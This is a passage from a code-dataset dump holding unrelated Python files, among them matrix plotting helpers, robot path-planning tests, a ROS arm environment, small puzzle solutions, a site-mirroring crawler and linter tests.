of mat with any zero rows thrown out\n \"\"\"\n rows, cols = mat.nonzero()\n zrows = list(set(range(np.shape(mat)[0])) - set(rows))\n if not zrows:\n return mat\n for z in zrows:\n i = np.argmax(rows > z)\n if i > 0:\n rows[i:] -= 1\n return sparse.csr_matrix((mat.data, (rows,cols)), shape=(max(rows)+1,np.shape(mat)[1]))\n\n\ndef eliminate_zeros(mat, tol=0.):\n \"\"\"\n Prune zeros (or small values when tol is nonzero) from the sparse matrix\n\n Parameters\n ----------\n mat : scipy.sparse matrix\n Sparse matrix\n tol : float\n Value below which matrix entries are flushed to zero\n\n Returns\n -------\n nonzero_matrix : scipy.sparse.csr_matrix\n Copy of mat with small values set to zero\n \"\"\"\n if tol <= 0:\n mat.eliminate_zeros()\n return mat\n mat = mat.tocsr()\n rows, cols, _ = sparse.find(abs(mat) >= tol)\n values = [mat[r,c] for r,c in zip(rows, cols)]\n return sparse.csr_matrix((values,(rows,cols)), shape=np.shape(mat))\n\n\ndef plotfield(s, eta, f, fig=None, ax=None, stretch=False, arcsin=False, aspect='equal', colorbar=True, cmap='RdBu', cbar_format=None, shading=None):\n \"\"\"\n Plot a 2D slice of the field at phi = 0\n\n Parameters\n ----------\n s : np.ndarray\n Radial coordinate to plot. Second dimension of f\n eta : np.ndarray\n Vertical coordinate to plot. First dimenson of f\n f : np.ndarray\n 2D array containing values for the field at eta,s\n fig : matplotlib.pyplot.Figure, optional\n Figure object to add plot\n ax : matplotlib.pyplot.Axes, optional\n Axes object to add plot\n stretch : bool, optional\n Flag to stretch the sphere into a cylinder shape,\n plotting in coordinates (s,eta) if True, otherwise (s,z).\n arcsin : bool, optional\n Flag to plot the field in the λ = arcsin(s) coordinate\n aspect : str, optional\n Aspect parameter for the Axes object\n colorbar : bool, optional\n If True, plot a colorbar alongside the axes\n cmap : str, optional\n Colormap identifier for plotting\n cbar_format : str, optional\n If 'log', print the colorbar labels in powers of 10\n shading : str, optional\n Shading style for matplotlib.pyplot.pcolormesh.\n Defaults to 'auto' for rectilinear coordinates, otherwise 'gouraud'.\n\n Returns\n -------\n fig, ax : matplotlib.pyplot Figure and Axes objects\n Figure and Axes with the plotted field\n \"\"\"\n ss, ee = s.ravel()[np.newaxis,:], eta.ravel()[:,np.newaxis]\n y = ee if stretch else np.sqrt(1-ss**2)*ee\n if shading is None:\n shading = 'auto' if stretch else 'gouraud'\n\n if fig is None or ax is None:\n fig, ax = plt.subplots(figsize=(4.25,6))\n\n if arcsin:\n ss = np.arcsin(ss)\n slabel = r'$\\arcsin{(s)}$'\n else:\n slabel = 's'\n\n im = ax.pcolormesh(ss, y, f, cmap=cmap, shading=shading)\n if colorbar:\n def fmt(x, pos):\n a, b = '{:.0e}'.format(x).split('e')\n b = int(b)\n return r'${} \\times 10^{{{}}}$'.format(a, b)\n if cbar_format == 'log':\n cbar_format = ticker.FuncFormatter(fmt)\n fig.colorbar(im, ax=ax, format=cbar_format)\n\n ax.set_xlabel(slabel)\n ax.set_ylabel('η' if stretch else 'z')\n if aspect is not None:\n ax.set_aspect(aspect, adjustable='datalim')\n\n fig.set_tight_layout(True)\n return fig, ax\n\n","repo_name":"acellison/spherinder","sub_path":"spherinder/operators.py","file_name":"operators.py","file_ext":"py","file_size_in_byte":45336,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"11767685259","text":"#!/usr/bin/env python2\n\nfrom projetS7_lib.rrt_star import RrtStar\nfrom projetS7_lib.world import World\nimport numpy as np\nimport os\n\nCLASS_DIR = os.path.dirname(os.path.realpath(__file__))\nRESOURCES_DIR = os.path.dirname(CLASS_DIR) + '/resources'\nWORLDS_DIR = RESOURCES_DIR + '/worlds/'\nROBOTS_DIR = RESOURCES_DIR + '/robots/'\nTREES_DIR = RESOURCES_DIR + '/trees/'\n\ndef test_search():\n world = World('world_tuto', WORLDS_DIR, ROBOTS_DIR)\n rrt = RrtStar(world, 1, TREES_DIR)\n start = np.array([-2, -2, 0])\n goal = np.array([3.5, -3, np.pi/4])\n path = rrt.search(start, goal)\n print(path)\n print(\"-----\")\n edges = rrt.get_edges()\n print(edges)\n max_edge_dist = 0\n for edge in edges:\n dist = world.dist(edge[0], edge[1])\n if dist > max_edge_dist:\n max_edge_dist = dist\n print(\"Maximum edge distance :\", max_edge_dist)\n\ndef test_steer():\n world = World('world_tuto', WORLDS_DIR, ROBOTS_DIR)\n rrt = RrtStar(world, 0.1, TREES_DIR)\n pos1 = np.array([0,0,0])\n pos2 = np.array([1,0,0])\n pos_steer = rrt._steer(pos1, pos2)\n print(\"Steered position :\", pos_steer)\n\ndef test_save_load():\n world = World('world_tuto', WORLDS_DIR, ROBOTS_DIR)\n rrt = RrtStar(world, 0.5, TREES_DIR)\n start = np.array([-2, -2, 0])\n goal = np.array([3.5, -3, np.pi/4])\n path = rrt.search(start, goal)\n edges = rrt.get_edges()\n\n rrt.save('tree_test')\n\n load_edges, load_path = RrtStar.load('tree_test', TREES_DIR)\n print(\"Save/Load working for edges :\", np.array_equal(edges, load_edges))\n print(\"Save/Load working for path :\", np.array_equal(path, load_path))\n\nif __name__ == \"__main__\":\n test_search()\n print(\"------------------------------\")\n test_steer()\n print(\"------------------------------\")\n test_save_load()","repo_name":"TariqBerrada/Robot-Navigation","sub_path":"python_tests/test_rrt_star.py","file_name":"test_rrt_star.py","file_ext":"py","file_size_in_byte":1806,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"18606434603","text":"import csv\n\nimport xlrd\n\n\ndef load_xls(xls_filepath):\n # Open CRS codelist\n return xlrd.open_workbook(xls_filepath)\n\n\ndef save_csv(output_filepath, codelist, fieldnames):\n with open(output_filepath, 'w', encoding='utf-8') as f:\n writer = csv.DictWriter(\n f, fieldnames=fieldnames,\n quoting=csv.QUOTE_ALL)\n writer.writeheader()\n for row in codelist:\n writer.writerow(row)\n","repo_name":"datasets/dac-and-crs-code-lists","sub_path":"parsers/helpers.py","file_name":"helpers.py","file_ext":"py","file_size_in_byte":434,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"23"} +{"seq_id":"23519609141","text":"class Solution:\n def smallestDivisor(self, nums: List[int], threshold: int) -> int:\n\n\n left = 1\n right = max(nums)-1\n best = 0\n while left <= right:\n\n mid = left + (right - left)//2\n\n if self.binary(nums, mid) <= threshold:\n right = mid - 1\n else:\n left = mid + 1 \n \n return left \n\n def binary(self, arr, temp):\n\n result = 0\n\n for n in arr:\n result += math.ceil(n/temp)\n return result \n\n\n ","repo_name":"mengesha9/A2SV-competitive-programming","sub_path":"1283-find-the-smallest-divisor-given-a-threshold/1283-find-the-smallest-divisor-given-a-threshold.py","file_name":"1283-find-the-smallest-divisor-given-a-threshold.py","file_ext":"py","file_size_in_byte":553,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"7906717418","text":"import responses\n\n# local imports\nfrom apitestframework.core.test_run import TestRun\n\nclass TestTestRun(object):\n '''\n Test core.test_run module\n '''\n\n @responses.activate\n def test_01(self):\n tr = TestRun({\n 'suites': [\n {\n 'name': 'MY_SUITE',\n 'baseUrl': 'http://localhost:9093',\n 'tests': [\n {\n 'name': 'Status',\n 'path': '/v1/status',\n 'expected': 'config/output/goeuro-status-expected.json'\n }\n ]\n }\n ]\n })\n responses.add(responses.GET, 'http://localhost:9093/v1/status',\n json={'version': '0.3.1', 'status': 'OK'}, status=200)\n try:\n tr.run()\n except SystemExit as e:\n assert False\n else:\n assert True\n\n @responses.activate\n def test_02(self):\n tr = TestRun({\n 'suites': [\n {\n 'name': 'MY_SUITE',\n 'baseUrl': 'http://localhost:9093',\n 'tests': [\n {\n 'name': 'Status',\n 'path': '/v1/status',\n 'expected': 'config/output/goeuro-status-expected.json'\n }\n ]\n }\n ]\n })\n responses.add(responses.GET, 'http://localhost:9093/v1/status',\n json={'version': '0.3.1', 'status': 'OK'}, status=302)\n try:\n tr.run()\n except SystemExit as e:\n assert True\n else:\n assert False\n","repo_name":"JMatica/apitestframework","sub_path":"test/core/test_test_run.py","file_name":"test_test_run.py","file_ext":"py","file_size_in_byte":1781,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"23"} +{"seq_id":"12569006585","text":"from Categoriaa import Categoria\r\n\r\nclass Produto(Categoria):\r\n quantidade_estoque = 0\r\n def __init__(self, nome_produto, _preco, nome_categoria, _porcentagem_lucro):\r\n super().__init__(nome_categoria, _porcentagem_lucro)\r\n self.nome_produto = nome_produto\r\n self.quantidade_estoque = 0\r\n\r\n\r\n\r\n @staticmethod\r\n def cadastrar_produto(lista_produto, lista_categoria):\r\n cate = input('Digite qual categoria esse produto faz parte:\\n').upper()\r\n nome_produto = input('Digite o nome do produto que deseja cadastra:\\n')\r\n _preco = float(input('Digite o preço do produto: \\n'))\r\n for cat in lista_categoria:\r\n if nome_produto != '':\r\n if cate == cat.nome_categoria:\r\n valor_final = ((cat.porcentagem/100)* _preco) + _preco\r\n print('O valor final é de :', valor_final)\r\n prod_nome = Produto(nome_produto, valor_final, cat.nome_categoria, cat.porcentagem)\r\n lista_produto.append(prod_nome)\r\n print('Produto cadastrado {} R$:{}, quantidade:{}.'.format(nome_produto, valor_final, prod_nome.quantidade_estoque))\r\n\r\n\r\n @staticmethod\r\n def excluir_produto(lista_produto, quantidade_estoque):\r\n nome_produto = input('Digite o nome do produto de deseja excluir:\\n')\r\n for list in lista_produto:\r\n if nome_produto == list.nome_produto:\r\n lista_produto.remove(list)\r\n print('Produto excluido com sucesso!', list.nome_produto)\r\n\r\n\r\n @staticmethod\r\n def exibir_produto(lista_produto):\r\n for prod in lista_produto:\r\n print('Produto {}, Estoque {}'.format(prod.nome_produto, prod.quantidade_estoque))\r\n\r\n\r\n @staticmethod\r\n def adiciona_estoque_produto(lista_produto):\r\n prodt = input('Digite o produto que deseja adicionar o estoque: \\n')\r\n estoque = int(input('Digite a quantidade em estoque: \\n'))\r\n for i in lista_produto:\r\n if prodt == i.nome_produto:\r\n i.quantidade_estoque = i.quantidade_estoque + estoque\r\n print('A quantidade em estoque é{} do produto {}'.format(i.quantidade_estoque, i.nome_produto))\r\n\r\n\r\n @staticmethod\r\n def remove_estoque_produto(lista_produto):\r\n remove_prodt = input('Digite o produto que deseja excluir o estoque:\\n')\r\n remove_estoque = int(input('Digite a quantidade que deseja excluir do estoque:\\n'))\r\n for ii in lista_produto:\r\n if remove_prodt == ii.nome_produto:\r\n ii.quantidade_estoque = ii.quantidade_estoque - remove_estoque\r\n print('A quantidade em estoque é{} do produto {}'.format(ii.quantidade_estoque, ii.nome_produto))\r\n\r\n\r\n '''def __str__(self, _nome_produto, _custo_compra, _quantidade_estoque,_nome_categoria):\r\n return f\"Produto{_nome_produto}, categoria {_nome_categoria}, {_quantidade_estoque} em estoque, preço de venda R$ {_valor_venda} \"'''\r\n","repo_name":"Ange-lo06/Estoque","sub_path":"Produtoo.py","file_name":"Produtoo.py","file_ext":"py","file_size_in_byte":2946,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"31345193133","text":"more = \"\"\nwhile more == \"\":\n\n\n\tprint()\n\t\n\tone = float(input(\" enter num: \"))\n\ttwo = float(input(\" enter num: \"))\n\n\ta = one + two\n\tb = one - two\n\tc = one * two\n\td = one / two\n\te = one % two\n\tf = one ** two\n\tg = one // two\n\n\tprint()\n\n\tprint(\" + press a if add\")\n\tprint(\" - press m if minus\")\n\tprint(\" × press t if times\")\n\tprint(\" ÷ press d if divide\")\n\tprint(\" % press r if remainder\")\n\tprint(\" ** press p if power\")\n\tprint(\" // press f if floor\")\n\n\tprint()\n\n\tope = input(\" choose operator: \")\n\n\tdef function (a) :\n\t\tif ope == \"a\" :\n\t\t\tprint(\" total:\",a)\n\tfunction(a)\n\n\tdef function (b):\n\t\tif ope == \"m\":\n\t\t\tprint(\" total:\",b)\n\tfunction (b)\n\n\tdef function (c):\n\t\tif ope == \"t\":\n\t\t\tprint(\" total:\",c)\n\tfunction (c)\n\n\tdef function (d):\n\t\tif ope == \"d\" :\n\t\t\tprint(\" total:\",d)\n\tfunction (d)\n\t\n\tdef function (e):\n\t\tif ope == \"r\" :\n\t\t\tprint(\" total:\",e)\n\tfunction (e)\n\t\n\tdef function (f):\n\t\tif ope == \"p\" :\n\t\t\tprint(\" total:\",f)\n\tfunction (f)\n\t\n\tdef function (g):\n\t\tif ope == \"f\" :\n\t\t\tprint(\" total:\",g)\n\tfunction (g)\n\t\n\tprint(\"\")\n\t\n\tmore = input(\" enter to continue...\")\n\tprint(' ---------------------')","repo_name":"Nirshat/Python-programs","sub_path":"Calculator2.py","file_name":"Calculator2.py","file_ext":"py","file_size_in_byte":1100,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"7851429760","text":"\nimport xlrd\n\n\n\n#设置文件名和路径\n\nfname = 'C:\\\\Users\\\\徐翼飞\\\\Desktop\\\\1.xlsx'\n\n# 打开文件\n\nfilename = xlrd.open_workbook(fname)\nsheet=filename.sheet_by_index(1) #通过sheet索引获得sheet对象\nnrows = sheet.nrows\nncols = sheet.ncols\n\ncell_value = sheet.cell_value(1,1)\n\n#获取各行数据\n\nrow_list=[]\n\nfor i in range(2,nrows):\n row_datas = sheet.row_values(i)\n row_list.append(row_datas)\nfile_name = ''\nf = open(file_name,'w')\n\n\n\n\n \n\nf.write('hello world!')","repo_name":"Blue-Sky-F/campus-code","sub_path":"campus-code/Python/littleDemo/analize.py","file_name":"analize.py","file_ext":"py","file_size_in_byte":490,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"1278425694","text":"import rospy\nimport numpy\nfrom math import pi, sqrt, atan2\nimport gym\nfrom gym import spaces\nfrom gym.envs.registration import register\nfrom geometry_msgs.msg import Point, Pose, Twist\nfrom time import sleep\nimport tf\nfrom sensor_msgs.msg import JointState\nfrom geometry_msgs.msg import Pose, Twist\nfrom gazebo_msgs.msg import LinkStates\nfrom joint_pos_2_tf import Pos2Tf \n\ntimestep_limit_per_episode = 1000 # Can be any Value\n\nregister(\n id='j2n6s300Test-v1',\n entry_point='task_env_tensorflow:j2n6s300TestEnv',\n #timestep_limit=timestep_limit_per_episode,\n )\n\nclass j2n6s300TestEnv(gym.Env):\n def __init__(self):\n \n # Only variable needed to be set here\n self.action_space = spaces.Discrete(12)\n \n # This is the most common case of Box observation type\n high = numpy.full((45),numpy.inf)\n \n self.observation_space = spaces.Box(-high, high)\n \n # Variables that we retrieve through the param server, loded when launch training launch.\n self.action = 0\n self.init_positions = [0.0, 2.9, 1.3, -2.07, 1.4, 0.0, 0, 0, 0, 0, 0, 0.0] \n self.target_point = [0.5,0.5,0.5]\n self.joint_pos_increment_value = 0.1\n self.n_step = 0\n self.n_episode = 0 \n self.joint_names = ['j2n6s300_joint_1', 'j2n6s300_joint_2', 'j2n6s300_joint_3', 'j2n6s300_joint_4', 'j2n6s300_joint_5',\n 'j2n6s300_joint_6', 'j2n6s300_joint_finger_1', 'j2n6s300_joint_finger_tip_1', 'j2n6s300_joint_finger_2',\n 'j2n6s300_joint_finger_tip_2', 'j2n6s300_joint_finger_3', 'j2n6s300_joint_finger_tip_3'] \n self.listener = tf.TransformListener(True, rospy.Duration(10.0))\n self.frame_list = [\n 'j2n6s300_link_1', 'j2n6s300_link_2','j2n6s300_link_3', 'j2n6s300_link_4','j2n6s300_link_5', 'j2n6s300_link_6', #1-6\n 'j2n6s300_link_finger_1', 'j2n6s300_link_finger_2', 'j2n6s300_link_finger_3', #7-9\n 'j2n6s300_link_finger_tip_1', 'j2n6s300_link_finger_tip_2', 'j2n6s300_link_finger_tip_3','j2n6s300_end_effector'] #10-12\n\n\n self.pub = rospy.Publisher(\"joint_states\", JointState, queue_size=1)\n self.joint_state = JointState()\n self.joint_state.name = self.joint_names\n self.listener = tf.TransformListener(False, rospy.Duration(10))\n self.timestamp = rospy.Time.now()\n names = self.listener.getFrameStrings()\n while not rospy.is_shutdown() and len(names)<15:\n self.joint_state_pub(self.init_positions)\n names = self.listener.getFrameStrings()\n \n self.Pos2Tf = Pos2Tf()\n self.reset()\n \n # Env methods\n def seed(self, seed=None):\n self.np_random, seed = seeding.np_random(seed)\n return [seed]\n\n def step(self, action):\n #print action\n joints = self.joint_state\n\n positions = joints.position\n action_pos = list(self.init_positions)\n \n for i in xrange(6):\n action_pos[i] = positions[i]\n if action == 0:\n action_pos[i] = positions[i] - self.joint_pos_increment_value\n elif action == 1:\n action_pos[i] = positions[i] + self.joint_pos_increment_value\n action -= 2\n \n #action_pos = list(self.init_positions) \n #self.joint_state_pub(action_pos)\n \n \n \n \n self.n_step += 1\n #rospy.sleep(.1)\n #obs = self.get_obs() \n obs = self.get_obs2(action_pos)\n info = \"derp\" \n reward = self.get_reward(obs)\n #reward = 0\n #print reward\n #print obs\n #print obs2\n '''for i in xrange(12):\n print self.joint_names[i] +' index: ' + str(i) +' pos: ' + str(action_pos[i])\n print obs[i*3+0],obs[i*3+1],obs[i*3+2]\n print obs2[i*3+0],obs2[i*3+1],obs2[i*3+2]'''\n #print '---------------------------------------------------------------------'\n if self.n_step > 999 or reward > 200:\n done = True\n else: \n done = False\n return obs, reward, done, info\n\n def reset(self):\n self.joint_state_pub(self.init_positions)\n sleep(1)\n self.n_step = 0\n obs = self.get_obs()\n return obs\n\n def close(self):\n \"\"\"\n Function executed when closing the environment.\n Use it for closing GUIS and other systems that need closing.\n :return:\n \"\"\"\n rospy.logdebug(\"Closing RobotGazeboEnvironment\")\n rospy.signal_shutdown(\"Closing RobotGazeboEnvironment\")\n \n def joint_state_pub(self,positions ): \n #update joint_state\n self.joint_state.header.stamp = rospy.Time.now()\n self.joint_state.position = positions\n self.pub.publish(self.joint_state)\n \n \"\"\"\n This is because publishing in topics sometimes fails the first time you publish.\n In continuous publishing systems, this is no big deal, but in systems that publish only\n once, it IS very important.\n \"\"\"\n while not rospy.is_shutdown():\n connections = self.pub.get_num_connections()\n if connections > 0:\n self.pub.publish(self.joint_state)\n break\n \n \n def timestamp_check(self):\n new_timestamp = self.listener.getLatestCommonTime('root', 'j2n6s300_end_effector') \n if new_timestamp == self.timestamp: \n self. joint_state_pub(self.joint_state.position)\n return True\n else:\n self.timestamp = new_timestamp\n print(new_timestamp == self.timestamp) \n return False\n \n def repub_joint_state(self): \n self.pub.publish(self.joint_state)\n self.get_obs()\n \n def get_obs(self):\n obs = numpy.zeros(45)\n \n #following loop makes sure that the tf messages have been updated\n #new_timestamp = self.listener.getLatestCommonTime('root', 'j2n6s300_end_effector') \n #print(new_timestamp == self.timestamp) \n #if new_timestamp == self.timestamp:\n # self.repub_joint_state() \n #self.timestamp = new_timestamp\n #print(self.n_step)\n \n for name in self.frame_list:\n i = self.frame_list.index(name)\n (tran,rot) = self.listener.lookupTransform('root', name, rospy.Time()) \n obs[i*3+0] = round(tran[0],3)\n obs[i*3+1] = round(tran[1],3)\n obs[i*3+2] = round(tran[2],3)\n if i == 11:\n break\n return(obs)\n \n \n def get_obs2(self, positions):\n obs = numpy.zeros(45)\n tf_msg = self.Pos2Tf.calculate_joints(positions)\n for transforms in tf_msg.transforms:\n i = tf_msg.transforms.index(transforms)\n tran = transforms.transform.translation\n obs[i*3+0] = round(tran.x,3)\n obs[i*3+1] = round(tran.y,3)\n obs[i*3+2] = round(tran.z,3)\n if i == 11:\n break\n return(obs) \n \n \n def get_reward(self, obs):\n deltax = obs[13*3+0]-self.target_point[0]\n deltay = obs[13*3+1]-self.target_point[1]\n deltaz = obs[13*3+2]-self.target_point[2]\n distance = sqrt(deltax**2+deltay**2+deltaz**2)\n \n if distance < 0.3:\n reward = 1\n else:\n reward = 0\n reward = min(500,1/(distance**2))\n return reward","repo_name":"Simon-Steinmann/sim2real-modular-RL-project","sub_path":"simulations/kinova/src/ml_using_tf/scripts/backup/task_env_tensorflow (copy).py","file_name":"task_env_tensorflow (copy).py","file_ext":"py","file_size_in_byte":7596,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"23"} +{"seq_id":"41363678582","text":"#python3\n\nn = int(input())\n\ndef lastFib(n):\n fibArray = [0,1]\n for i in range(2,n+1):\n fibArray.append((fibArray[i-1] + fibArray[i-2])%10)\n return fibArray[-1]\n\nprint(lastFib(n))","repo_name":"MarkMk1/DataStructs-Algorithms","sub_path":"Basic Algorithms/complete_FibLast.py","file_name":"complete_FibLast.py","file_ext":"py","file_size_in_byte":194,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"23996758652","text":"import os\n\n\nclass Point:\n x: int\n y: int\n\n def __init__(self, x: int, y: int) -> None:\n self.x = x\n self.y = y\n\n def __str__(self) -> str:\n return '(' + str(self.x) + ',' + str(self.y) + ')'\n\n\nclass VentLine:\n start: Point\n end: Point\n\n def __init__(self, start: Point, end: Point) -> None:\n self.start = start\n self.end = end\n\n def __str__(self) -> str:\n return str(self.start) + ' -> ' + str(self.end)\n\n\ndef mark_vent_lines_on_grid(grid: 'list[list[int]]', vent_lines: 'list[VentLine]'):\n for vent_line in vent_lines:\n if vent_line.start.x != vent_line.end.x and vent_line.start.y != vent_line.end.y:\n distance = abs(vent_line.end.x - vent_line.start.x)\n\n if vent_line.start.x < vent_line.end.x and vent_line.start.y < vent_line.end.y:\n for i in range(distance + 1):\n grid[vent_line.start.x + i][vent_line.start.y + i] += 1\n elif vent_line.start.x < vent_line.end.x and vent_line.start.y > vent_line.end.y:\n for i in range(distance + 1):\n grid[vent_line.start.x + i][vent_line.start.y - i] += 1\n elif vent_line.start.x > vent_line.end.x and vent_line.start.y < vent_line.end.y:\n for i in range(distance + 1):\n grid[vent_line.start.x - i][vent_line.start.y + i] += 1\n else:\n for i in range(distance + 1):\n grid[vent_line.start.x - i][vent_line.start.y - i] += 1\n\n continue\n\n for i in range(min(vent_line.start.x, vent_line.end.x), max(vent_line.start.x, vent_line.end.x)+1):\n for j in range(min(vent_line.start.y, vent_line.end.y), max(vent_line.start.y, vent_line.end.y)+1):\n grid[i][j] += 1\n\n\ndef get_points_with_overlapping_lines(grid: 'list[list[int]]'):\n result = 0\n for line in grid:\n result += sum(x >= 2 for x in line)\n\n return result\n\n\nvent_lines: 'list[VentLine]' = []\nwith open(os.path.join('input', 'input.txt'), 'r') as input_file:\n lines = [line.strip() for line in input_file.readlines()]\n for line in lines:\n tokens = line.split(' -> ')\n\n start_coordinates = tokens[0].split(',')\n start = Point(int(start_coordinates[0]), int(start_coordinates[1]))\n\n end_coordinates = tokens[1].split(',')\n end = Point(int(end_coordinates[0]), int(end_coordinates[1]))\n\n vent_lines.append(VentLine(start, end))\n\n\nhorizontal_length = 0\nvertical_length = 0\nfor vent_line in vent_lines:\n horizontal_length = max(horizontal_length, max(\n vent_line.start.x, vent_line.end.x))\n vertical_length = max(vertical_length, max(\n vent_line.start.y, vent_line.end.y))\n\ngrid = []\nfor i in range(horizontal_length+1):\n line = []\n for j in range(vertical_length+1):\n line.append(0)\n grid.append(line)\n\nmark_vent_lines_on_grid(grid, vent_lines)\n\nresult = get_points_with_overlapping_lines(grid)\n\nprint('The number of points with at least two overlapping lines is: ' + str(result))\n","repo_name":"alessandrodolci/adventofcode-21","sub_path":"day5/check_floor_vents.py","file_name":"check_floor_vents.py","file_ext":"py","file_size_in_byte":2851,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"30253400227","text":"#!/usr/bin/env python2\n# -*- coding: utf-8 -*-\n\"\"\"\n.. module: main\n :symopsis: \n\n.. moduleauthor:: derfenix \n\"\"\"\nimport logging\nimport multiprocessing\nimport sys\nimport signal\n\nfrom mirroring.item import Item, StopProcessing\n\n\nlogger = multiprocessing.log_to_stderr()\nlogger.setLevel(logging.DEBUG)\n\n\ndef proccess(lnk):\n visited = set()\n try:\n item = Item(lnk, visited)\n item.save()\n logger.info(lnk)\n return item.urls\n except StopProcessing:\n pass\n\n\ndef run(base, save_root, proc_count=None):\n signal.signal(signal.SIGINT, signal.SIG_DFL)\n Item.set_save_root(save_root)\n Item.set_base_url(base)\n visited = set()\n\n if not proc_count:\n proc_count = multiprocessing.cpu_count() * 2\n\n if isinstance(base, (str, unicode)):\n links = [[base, ]]\n else:\n links = [base]\n\n while links:\n pool = multiprocessing.Pool(proc_count)\n try:\n work = []\n links_ = []\n for link_ in links:\n if link_:\n links_ += link_\n for l in links_:\n if l not in visited:\n visited.add(l)\n work.append(l)\n links = []\n r = []\n for i in xrange(0, proc_count):\n r = pool.map_async(proccess, work[i::proc_count])\n links += r.get()\n\n except KeyboardInterrupt:\n pool.terminate()\n pool.join()\n sys.exit(0)\n else:\n pool.close()\n pool.join()\n\n # pool.close()\n # pool.join()\n\n\nif __name__ == \"__main__\":\n pc = int(sys.argv[3]) if len(sys.argv) > 3 else None\n run(sys.argv[1], sys.argv[2], pc)","repo_name":"derfenix/mirroring","sub_path":"mirroring/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1755,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"930086747","text":"import doctest\n\nimport errno\n\nimport os\n\nimport shutil\n\nimport sys\n\nimport tempfile\n\nfrom contextlib import contextmanager\n\nfrom iocapture import capture\n\nfrom nose_parameterized import parameterized\n\nfrom polysquarelinter import linter\n\nfrom testtools import TestCase\nfrom testtools.matchers import (DocTestMatches,\n Equals as TTEqMatcher,\n MatchesSetwise)\n\n\n# Pychecker complains about the Equals matcher failing to override comparator\n# so do that here\nclass Equals(TTEqMatcher): # suppress(R0903)\n \"\"\"Matcher which tests equality.\"\"\"\n\n def __init__(self, matchee):\n \"\"\"Forward matchee to parent class.\"\"\"\n super(Equals, self).__init__(matchee)\n\n def comparator(self, expected, other):\n \"\"\"Check that expected == other.\"\"\"\n return other == expected\n\n\nclass LinterFailure(Exception):\n \"\"\"Exception raised when the linter reports a message.\"\"\"\n\n def __init__(self, message, repl):\n \"\"\"Initialize exception with mesh and replacement.\"\"\"\n super(LinterFailure, self).__init__()\n self.message = message\n self.replacement = repl\n\n def __str__(self):\n \"\"\"Represent as string.\"\"\"\n return str(\"{0}\".format(self.message))\n\n\ndef run_with_kwargs_as_switches(func, *args, **kwargs):\n \"\"\"Run :func: with :kwargs: converted to switches.\"\"\"\n arguments = list(args)\n\n def _convert_kv_to_switches(key, value):\n \"\"\"Convert a key-value pair to command-line switches.\"\"\"\n append_args = [\"--{0}\".format(key).replace(\"_\", \"-\")]\n\n type_dispatch = {\n bool: [],\n list: value,\n str: [value]\n }\n\n # We assume that the types in type_dispatch are the only types\n # we'll encounter, all others will throw an exception.\n append_args += type_dispatch[type(value)]\n return append_args\n\n for key, value in kwargs.items():\n arguments += _convert_kv_to_switches(key, value)\n\n return func(arguments)\n\n\ndef run_linter_main(filename, **kwargs):\n \"\"\"Run linter.main() (as an integration test).\"\"\"\n arguments = [filename]\n return run_with_kwargs_as_switches(linter.main, *arguments, **kwargs)\n\n\nclass TestLinterAcceptance(TestCase):\n \"\"\"Acceptance tests for linter.main().\"\"\"\n\n def __init__(self, *args, **kwargs): # pylint:disable=super-on-old-class\n \"\"\"Initialize class variables.\"\"\"\n super(TestLinterAcceptance, self).__init__(*args, **kwargs)\n self._temporary_file = None\n\n def setUp(self): # suppress(N802)\n \"\"\"Create a temporary file.\"\"\"\n from six import StringIO\n\n super(TestLinterAcceptance, self).setUp()\n self._temporary_file = tempfile.mkstemp()\n self.patch(sys, \"stdout\", StringIO())\n\n os.environ[\"JOBSTAMPS_DISABLED\"] = \"1\"\n\n def tearDown(self): # suppress(N802)\n \"\"\"Remove temporary file.\n\n Note that we need to ensure that the file is closed\n first, so if it hasn't been opened yet, we won't get\n EBADF. Otherwise we'll get EBADF and we can safely\n ignore it.\n \"\"\"\n try:\n os.close(self._temporary_file[0])\n except OSError as error:\n if error.errno != errno.EBADF: # suppress(PYC90)\n raise error\n\n os.remove(self._temporary_file[1])\n super(TestLinterAcceptance, self).tearDown()\n\n def test_parallelization_path(self):\n \"\"\"Generate expected number of errors when running in parallel.\"\"\"\n contents = (\"#\\n\"\n \"#\\n\"\n \"# Description\\n\"\n \"#\\n\"\n \"# See LICENCE.md for Copyright information\\n\"\n \"\\n\")\n\n temporary_dir = tempfile.mkdtemp(prefix=os.path.join(os.getcwd(),\n \"technical\"))\n self.addCleanup(lambda: shutil.rmtree(temporary_dir))\n files_to_lint = []\n\n for i in range(0, 20):\n with open(os.path.join(temporary_dir,\n \"file{0}\".format(i)), \"w\") as lint_file:\n lint_file.write(contents)\n files_to_lint.append(os.path.realpath(lint_file.name))\n\n result = run_with_kwargs_as_switches(linter.main,\n *files_to_lint,\n whitelist=\"headerblock/copyright\")\n\n self.assertEqual(result, 20)\n\n def test_inline_suppressions_above(self):\n \"\"\"Check inline suppressions work above the error-generating line.\"\"\"\n contents = (\"#\\n\"\n \"#\\n\"\n \"# Description\\n\"\n \"#\\n\"\n \"# suppress(headerblock/copyright)\\n\"\n \"# See LICENCE.md for Copyright information\\n\"\n \"\\n\")\n\n with os.fdopen(self._temporary_file[0], \"a+\") as process_file:\n process_file.write(contents)\n\n result = run_linter_main(self._temporary_file[1],\n whitelist=[\"headerblock/copyright\"])\n\n self.assertEqual(result, 0)\n\n def test_handle_empty_files(self):\n \"\"\"Handle empty files with appropriate error message.\"\"\"\n contents = \"\"\n\n with os.fdopen(self._temporary_file[0], \"a+\") as process_file:\n process_file.write(contents)\n\n result = 